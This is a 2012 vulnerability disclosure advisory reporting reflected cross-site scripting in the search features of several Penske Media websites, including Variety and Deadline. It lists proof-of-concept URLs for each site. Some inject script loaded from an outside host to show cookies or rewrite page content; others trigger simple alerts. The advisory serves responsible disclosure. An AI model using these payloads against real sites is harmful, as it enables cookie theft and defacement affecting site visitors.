Penske Media Corporation Cross Site Scripting

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Title : Penske Media Corporation reflected Cross Site Scripting (XSS) vulnerabilities  
  
Vendor : Penske Media Corporation (http://www.pmc.com/)  
  
Description : Multiple PMC web-sites are vulnerable to reflected Cross-site Scripting attacks  
  
Advisory time-line:  
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- Vendor notified : 16-Oct-2012, 9-Nov-2012, 15-Nov-2012 - no responses  
- Packet Storm advisory : 20-Nov-2012  
  
Test environment  
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- Latest Firefox browser  
  
Vulnerable PMC sites  
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- Variety.com  
- La411.com  
- newyork411.com  
- deadline.com  
  
  
Details  
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Affected functionality: site search  
  
Test #1: Remote Javascript execution: display browser cookie  
http://www.variety.com/search/?key=%3C/script%3E%3Cscript%20src=http://idash.net/xs.js%3E%3C/script%3E  
http://www.la411.com/search/index.cfm?searchParam=%3C%2Fscript%3E%3Cscript+src%3Dhttp%3A%2F%2Fidash.net%2Fxs.js%3E%3C%2Fscript%3Ei&x=0&y=0  
http://www.newyork411.com/search/index.cfm?searchParam=%22%3E%27%3E%3Cscript+src%3Dhttp%3A%2F%2Fidash.net%2Fxs.js%3E%3C%2Fscript%3Ei&x=0&y=0  
http://www.deadline.com/?s=%22%3E%27%3E%3CSCRIPT+SRC%3Dhttp%3A%2F%2Fidash.net%2Fxs.js%3E%3C%2FSCRIPT%3E  
  
Test #2, Remote Javascript execution: overwrite HTML content  
http://www.variety.com/search/?key=%3C/script%3E%3Cscript%20src=http://idash.net/fr.js%3E%3C/script%3E  
http://www.la411.com/search/index.cfm?searchParam=%3C%2Fscript%3E%3Cscript+src%3Dhttp%3A%2F%2Fidash.net%2Ffr.js%3E%3C%2Fscript%3Ei&x=0&y=0  
http://www.newyork411.com/search/index.cfm?searchParam=%22%3E%27%3E%3Cscript+src%3Dhttp%3A%2F%2Fidash.net%2Ffr.js%3E%3C%2Fscript%3Ei&x=0&y=0  
http://www.deadline.com/?s=%22%3E%27%3E%3CSCRIPT+SRC%3Dhttp%3A%2F%2Fidash.net%2Ffr.js%3E%3C%2FSCRIPT%3E  
  
Test #3, Simple alert  
http://www.variety.com/search/?key=%3C/script%3E%3Cscript%3E+-+-1-+-+alert%28/XSS/%29%3C/script%3E  
http://www.la411.com/search/index.cfm?searchParam=%22%3E%27%3E%3Cimg+src%3Dx+onerror%3Dprompt%28/XSS/%29%3E&x=0&y=0  
http://www.newyork411.com/search/index.cfm?searchParam=%22%3E%27%3E%3Cimg+src%3Dx+onerror%3Dprompt%28/XSS/%29%3E&x=0&y=0  
http://www.deadline.com/?s=%22%3E%27%3E%3CSCRIPT%3Eprompt%28/XSS/%29%3C%2FSCRIPT%3E  
  
  
Note: the test cases are not malicious.  
  
Researcher  
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Janne Ahlberg   
Project site: http://idash.net  
Twitter: https://twitter.com/JanneFI  
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